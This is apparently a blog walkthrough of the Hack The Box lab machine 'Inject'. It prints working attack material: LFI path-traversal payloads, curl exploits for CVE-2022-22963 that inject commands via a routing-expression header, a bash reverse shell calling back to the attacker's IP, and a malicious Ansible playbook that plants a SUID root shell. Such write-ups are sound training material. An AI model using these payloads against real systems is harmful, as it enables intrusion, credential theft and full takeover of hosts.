Hack The Box - Inject

14 min read

Inject is an Easy Difficulty Linux machine featuring a website with file upload functionality vulnerable to Local File Inclusion (LFI). By exploiting the LFI vulnerability, files on the system can be enumerated, revealing that the web application uses a specific version of the Spring-Cloud-Function-Web module susceptible to CVE-2022-22963. Exploiting this vulnerability grants an initial foothold as the frank user. Lateral movement is achieved by further file enumeration, which discloses a plain text password for phil. A cronjob running on the machine can then be exploited to execute a malicious Ansible playbook, ultimately obtaining a reverse shell as the root user.

Enumeration

I start my enumeration with nmap which scans all ports on the target machine.

Terminal window
$ nmap -p- --min-rate 10000 10.10.11.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-06 22:01 CEST
Nmap scan report for 10.10.11.204
Host is up (0.023s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 6.57 seconds

It finds two open TCP ports, SSH (22) and HTTP (8080):

Terminal window
$ nmap -p 22,8080 -sCV 10.10.11.204 -o 2_nmap_deep
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-06 22:01 CEST
Nmap scan report for 10.10.11.204
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal. Port 8080 is also open, but Nmap is having difficulties identifying the service running behind this port. It’s a web server, so I can open it in Firefox by browsing to http://10.10.11.204:8080.

The webservice

When the request finishes loading, I get presented with the following web page. Seems like I’m dealing with some storage provider. I start a gobuster scan in the background (gobuster dir -u http://10.10.11.204:8080/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o 4_gobuster_root) while I start browsing around and discover a couple of interesting pages.

Untitled

Navigating to the Blogs page (/blogs), it lists three blog posts. But none of them seems to be going anywhere.

Untitled

Going to the Registration page (/register) shows an “Under Construction banner.

Untitled

At the top right of the Home page, there’s an upload link, which goes to /upload:

Untitled

Before diving into this upload functionality, I see my gobuster scan has finished and came back with the following results:

Terminal window
$ gobuster dir -u http://10.10.11.204:8080/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o 4_gobuster_root
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.204:8080/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/07/06 22:16:47 Starting gobuster in directory enumeration mode
===============================================================
/register (Status: 200) [Size: 5654]
/error (Status: 500) [Size: 106]
/upload (Status: 200) [Size: 1857]
/blogs (Status: 200) [Size: 5371]
/environment (Status: 500) [Size: 712]
/show_image (Status: 400) [Size: 194]
Progress: 42994 / 43008 (99.97%)
===============================================================
2023/07/06 22:20:39 Finished
===============================================================

One interesting result I didn’t bump into during my manual recon is the /show_image endpoint, which returns a 400 (Bad Request). Sending a request with curl reveals how I should use the endpoint:

Terminal window
$ curl http://10.10.11.204:8080/show_image
{"timestamp":"2023-07-06T20:28:29.549+00:00","status":400,"error":"Bad Request","message":"Required request parameter 'img' for method parameter type String is not present","path":"/show_image"}

It seems I just need to add an img parameter to the query string. Before diving into this I decide to quickly play around with the upload functionality by uploading a small plain text fil:

Untitled

That doesn’t seem to work, but when I give it an actual image, it returns a link to that image.The link goes to the same endpoint I discovered via burp just earlier /show_image?img=[image file name] .

Untitled

While navigating to the image I proxy the request through BurpSuite so I can have a look at the response headers. But that doesn’t seem to reveal anything new.

Untitled

Frankly I need a shell

While navigating to the image endpoint in burp I can see that the uploaded image gets returned. Given the img parameter takes a file I decide to test for LFI. Browsing around on hacktricks the first payload I can find on the website is ../../../../../. I send the request to the repeater and modify the img parameter to the LFI payload.

Untitled

This returns a directory confirming my assumption that the endpoint is vulnerable to a LFI. If I had to take a guess this returned the directory listing of what seems to be the /var directory. Changing the payload to ../../../../../../home I discover 2 different users on the system:

  • fran
  • phil

At this point given it’s a CTF I decided to immediately try my luck and grab the user.txt without going for a shell first. Sending requests to both home folders I discover that the user.txt is in phils home folder. But trying to grab the flag I get an empty response.

Untitled

This means I probably don’t have enough permissions to read the file from the user that is currently running the web process. So I decided to focus on the web app itself, I got access to the /var/www folder, so I can read the source code and maybe that can lead me to code execution or a shell on the box.

Untitled

Seems there are 2 folder, I decide to look at /var/www/html first but that folder turns up empty. So it either doesn’t contain any files or I don’t have permissions again. Trying my luck with the WebApp folder I get the following listing.

Untitled

The file that immediately draws my attention is HELP.md, which returns the following:

HTTP/1.1 200
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 1414
Date: Thu, 06 Jul 2023 21:04:59 GMT
Connection: close
# Getting Started
### Reference Documentation
For further reference, please consider the following sections:
* [Official Apache Maven documentation](https://maven.apache.org/guides/index.html)
* [Spring Boot Maven Plugin Reference Guide](https://docs.spring.io/spring-boot/docs/2.6.6/maven-plugin/reference/html/)
* [Create an OCI image](https://docs.spring.io/spring-boot/docs/2.6.6/maven-plugin/reference/html/#build-image)
* [Spring Boot DevTools](https://docs.spring.io/spring-boot/docs/2.6.6/reference/htmlsingle/#using-boot-devtools)
* [Spring Web](https://docs.spring.io/spring-boot/docs/2.6.6/reference/htmlsingle/#boot-features-developing-web-applications)
* [Thymeleaf](https://docs.spring.io/spring-boot/docs/2.6.6/reference/htmlsingle/#boot-features-spring-mvc-template-engines)
* [Spring Data JPA](https://docs.spring.io/spring-boot/docs/2.6.6/reference/htmlsingle/#boot-features-jpa-and-spring-data)
### Guides
The following guides illustrate how to use some features concretely:
* [Building a RESTful Web Service](https://spring.io/guides/gs/rest-service/)
* [Serving Web Content with Spring MVC](https://spring.io/guides/gs/serving-web-content/)
* [Building REST services with Spring](https://spring.io/guides/tutorials/bookmarks/)
* [Handling Form Submission](https://spring.io/guides/gs/handling-form-submission/)
* [Accessing Data with JPA](https://spring.io/guides/gs/accessing-data-jpa/)

This reveals I’m dealing with a spring boot application, it has been ages since I professionally used Java or spring for that matter. What I can remember is that pom.xml is the configuration file for maven and helps manage dependencies and build processes. It basically contains information about the project such as its name, version, and dependencies on other software libraries. In this case I can leverage this pom.xml to get an overview of the apps dependencies and check if any of them are out of date and contain any vulnerabilities.

Downloading the pom.xml file via the LFI vulnerability reveals the following:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>

Copying the file to my local machine I can now use a vulnerability scanner to check for outdated packages. In this case I use the Snyk command line tool to start the scan. At the first try it returned the following error for me:

Terminal window
$ snyk test
Child process failed with exit code: 127.
Run in debug mode (-d) to see STDERR and STDOUT.
STDERR:
/bin/sh: 1: mvn: not found
Please make sure that Apache Maven Dependency Plugin version 2.2 or above is installed, and that `mvn dependency:tree -DoutputType=dot --batch-mode --non-recursive --file="pom.xml"` executes successfully on this project.
If the problem persists, collect the output of `DEBUG=* mvn dependency:tree -DoutputType=dot --batch-mode --non-recursive --file="pom.xml"` and contact [email protected]

This was because I didn’t have Maven installed on my system. After running sudo apt install maven and rerunning the command again I get the following overview

Terminal window
Tested 50 dependencies for known issues, found 24 issues, 24 vulnerable paths.
Issues to fix by upgrading:
Upgrade org.springframework.boot:[email protected] to org.springframework.boot:[email protected] to fix
Denial of Service (DoS) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKBOOT-5564390] in org.springframework.boot:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected]
Upgrade org.springframework.boot:[email protected] to org.springframework.boot:[email protected] to fix
Stack-based Buffer Overflow [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGYAML-3016888] in org.yaml:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.yaml:[email protected]
Stack-based Buffer Overflow [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGYAML-3016889] in org.yaml:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.yaml:[email protected]
Stack-based Buffer Overflow [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGYAML-3113851] in org.yaml:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.yaml:[email protected]
Stack-based Buffer Overflow [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGYAML-3016891] in org.yaml:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.yaml:[email protected]
Denial of Service (DoS) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGYAML-2806360] in org.yaml:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.yaml:[email protected]
Upgrade org.springframework.boot:[email protected] to org.springframework.boot:[email protected] to fix
HTTP Request Smuggling [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCATEMBED-3097829] in org.apache.tomcat.embed:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.apache.tomcat.embed:[email protected]
Information Exposure [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCATEMBED-3035793] in org.apache.tomcat.embed:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.apache.tomcat.embed:[email protected]
Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework:[email protected] > org.springframework:[email protected]
Denial of Service (DoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCATEMBED-3326459] in org.apache.tomcat.embed:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.apache.tomcat.embed:[email protected]
Unprotected Transport of Credentials [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCATEMBED-3369687] in org.apache.tomcat.embed:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.apache.tomcat.embed:[email protected]
Allocation of Resources Without Limits or Throttling [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-3369749] in org.springframework:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework:[email protected] > org.springframework:[email protected]
Allocation of Resources Without Limits or Throttling [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-5422217] in org.springframework:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework:[email protected] > org.springframework:[email protected]
Denial of Service (DoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-3038426] in com.fasterxml.jackson.core:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > com.fasterxml.jackson.core:[email protected]
Denial of Service (DoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-3038424] in com.fasterxml.jackson.core:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > com.fasterxml.jackson.core:[email protected]
Denial of Service (DoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2823313] in org.springframework:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework:[email protected] > org.springframework:[email protected]
Improper Input Validation [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCATEMBED-3225086] in org.apache.tomcat.embed:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.apache.tomcat.embed:[email protected]
Denial of Service (DoS) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-2421244] in com.fasterxml.jackson.core:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > com.fasterxml.jackson.core:[email protected]
Improper Access Control [Critical Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-3369852] in org.springframework:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework:[email protected]
Remote Code Execution [Critical Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751] in org.springframework:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework:[email protected] > org.springframework:[email protected]
Upgrade org.springframework.cloud:[email protected] to org.springframework.cloud:[email protected] to fix
Denial of Service (DoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2928757] in org.springframework.cloud:spring-cloud-function[email protected]
introduced by org.springframework.cloud:[email protected] > org.springframework.cloud:[email protected]
Denial of Service (DoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2823310] in org.springframework:[email protected]
introduced by org.springframework.cloud:[email protected] > org.springframework.cloud:[email protected] > org.springframework:[email protected]
Remote Code Execution [Critical Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645] in org.springframework.cloud:[email protected]
introduced by org.springframework.cloud:[email protected] > org.springframework.cloud:[email protected]
Issues with no direct upgrade or patch:
Arbitrary Code Execution [Medium Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGYAML-3152153] in org.yaml:[email protected]
introduced by org.springframework.boot:[email protected] > org.springframework.boot:[email protected] > org.yaml:[email protected]
This issue was fixed in versions: 2.0

Snyk does an amazing job listing out all the vulnerable packages. It also includes a link to a more detailed write up and a severity score. Going through the list I highlight the following packages as interesting candidates to dive deeper into:

I briefly played around with the beans exploit, because it seemed a rather trivial exploit. But I didn’t really get it working. So I moved on plan B the spring-cloud-function. The CVE report on Snyk refers to the following POC on github: https://github.com/hktalent/spring-spel-0day-poc. Which looks something like this:

POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("random87535.rce.51pwn.com")
Content-Length: 5
51pwn

Translating this to a curl request I get the following command, which when executed successfully it should create a file /tmp/exce_me on the target machine.

Terminal window
curl -i -s -k -X 'POST' \
-H 'Host: 10.10.11.204:8080' \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/exec_me")' \
--data-binary 'exec_me' 'http://10.10.11.204:8080/functionRouter'

To verify if my exploit works I can use the LFI to see if the file got created. And indeed it does!

Untitled

I craft a bash reverse shell and save it to a file called exec_me.sh that I expose via a python3 -m http.server webserver.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.12/8888 0>&1

And the following command downloads this file to the remote machine.

Terminal window
curl -i -s -k -X 'POST' \
-H 'Host: 10.10.11.204:8080' \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.12:8000/exec_me.sh -o /tmp/exec_me.sh")' \
--data-binary 'exec_me' 'http://10.10.11.204:8080/functionRouter'

To receive the reverse shell from the remote host I start a netcat listener on port 8888 (same port as in the bash reverse shell script) on my local machine. To then trigger the exploit:

Terminal window
curl -i -s -k -X 'POST' \
-H 'Host: 10.10.11.204:8080' \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/exec_me.sh")' \
--data-binary 'exec_me' 'http://10.10.11.204:8080/functionRouter'

Becoming phil

After sending the request I receive a reverse shell as the frank user on my netcat listener. I then proceed to upgrade my shell by executing python3 -c "import pty; pty.spawn('/bin/bash') . Then I press CTRL+Z to temporarily jump out of the reverse shell and execute stty raw -echo; fg which brings me back into my reverse shell. Now I can change the term variable with export TERM=xterm and be sure I wont jump out of my reverse shell unexpectedly.

Enumeration of the filesystem reveals the password for the user phil in the /home/frank/.m2/settings.xml Maven configuration file.

Terminal window
frank@inject:~$ cat /home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>

That password didn’t work for SSH as phil, but it does work to su as phil:

Terminal window
frank@inject:~$ su - phil
phil@inject:~$ pwd
/home/phil
phil@inject:~$ ls -alh
total 24K
drwxr-xr-x 3 phil phil 4.0K Feb 1 18:38 .
drwxr-xr-x 4 root root 4.0K Feb 1 18:38 ..
lrwxrwxrwx 1 root root 9 Feb 1 07:40 .bash_history -> /dev/null
-rw-r--r-- 1 phil phil 3.7K Feb 25 2020 .bashrc
drwx------ 2 phil phil 4.0K Feb 1 18:38 .cache
-rw-r--r-- 1 phil phil 807 Feb 25 2020 .profile
-rw-r----- 1 root phil 33 Jul 6 18:42 user.txt

Now I can read the user.txt flag.

I am Root

Running my good old trusty [linpeas.sh](http://linpeas.sh) didn’t provide any useful information. I also tried manual enumeration but had no luck there either. So I decided to give pspy a try. I downloaded the 64bit binary from GitHub, added it into the folder being hosted by my python webserver. And then proceeded download the binary on to the target machine.

After running it for a few minutes, I notice the following processes running as root indicating that they are being run on a CRON schedule.

Terminal window
2023/07/07 22:10:01 CMD: UID=0 PID=4069 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2023/07/07 22:10:01 CMD: UID=0 PID=4074 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/07/07 22:10:01 CMD: UID=0 PID=4076 |
2023/07/07 22:10:01 CMD: UID=0 PID=4077 |
2023/07/07 22:10:02 CMD: UID=0 PID=4078 |
2023/07/07 22:10:02 CMD: UID=0 PID=4080 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/07/07 22:10:02 CMD: UID=0 PID=4081 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml

More particularly this is the exact command:

Terminal window
/bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

This shows that the root user is using ansible-parallel to execute any playbook in the /opt/automation/tasks directory.

Ansible is a tool that is pretty dear to my heart. It’s a powerful and flexible tool for automating IT tasks and managing infrastructure at scale, making it easier to maintain consistency across multiple servers and environments. It uses a declarative language called YAML to describe configuration changes and tasks, and can be used to manage systems running on a wide range of operating systems. And a playbook is Ansible’s primary way to describe the configuration, deployment and orchestration of different tasks.

Checking the permission of the /opt/automation/tasks directory, it seems that only the root user and the staff user group have read and write access.

Terminal window
phil@inject:/dev/shm$ ls -alh /opt/automation/tasks
total 12K
drwxrwxr-x 2 root staff 4.0K Jul 7 21:50 .
drwxr-xr-x 3 root root 4.0K Oct 20 2022 ..
-rw-r--r-- 1 root root 150 Jul 7 21:50 playbook_1.yml
phil@inject:/dev/shm$ ls -alh /opt/automation/
total 12K
drwxr-xr-x 3 root root 4.0K Oct 20 2022 .
drwxr-xr-x 3 root root 4.0K Oct 20 2022 ..
drwxrwxr-x 2 root staff 4.0K Jul 7 21:50 tasks

Fortunately, the user phil is a member of the user group staff .

The simplest way to run some command via Ansible is with the built-in Shell module. I’ll make a file that’s as simple as:

Terminal window
- hosts: localhost
tasks:
- shell: |
cp /bin/bash /tmp/bash
chmod +x /tmp/bash
chmod u+s /tmp/bash
become: true

I’ll save this as /opt/automation/tasks/exec-me.yml. The playbook creates a copy of bash that’s owned by root with the SetUID bit enabled. This way I can launch bash with -p and force it to maintain privileges. The next time the CRON runs, a new bash file appears in /tmp. Executing this copy gives me a root shell and allows me to read the flag.

Terminal window
phil@inject:/dev/shm$ /tmp/bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
348b58694e7224773ebefa7c62e49550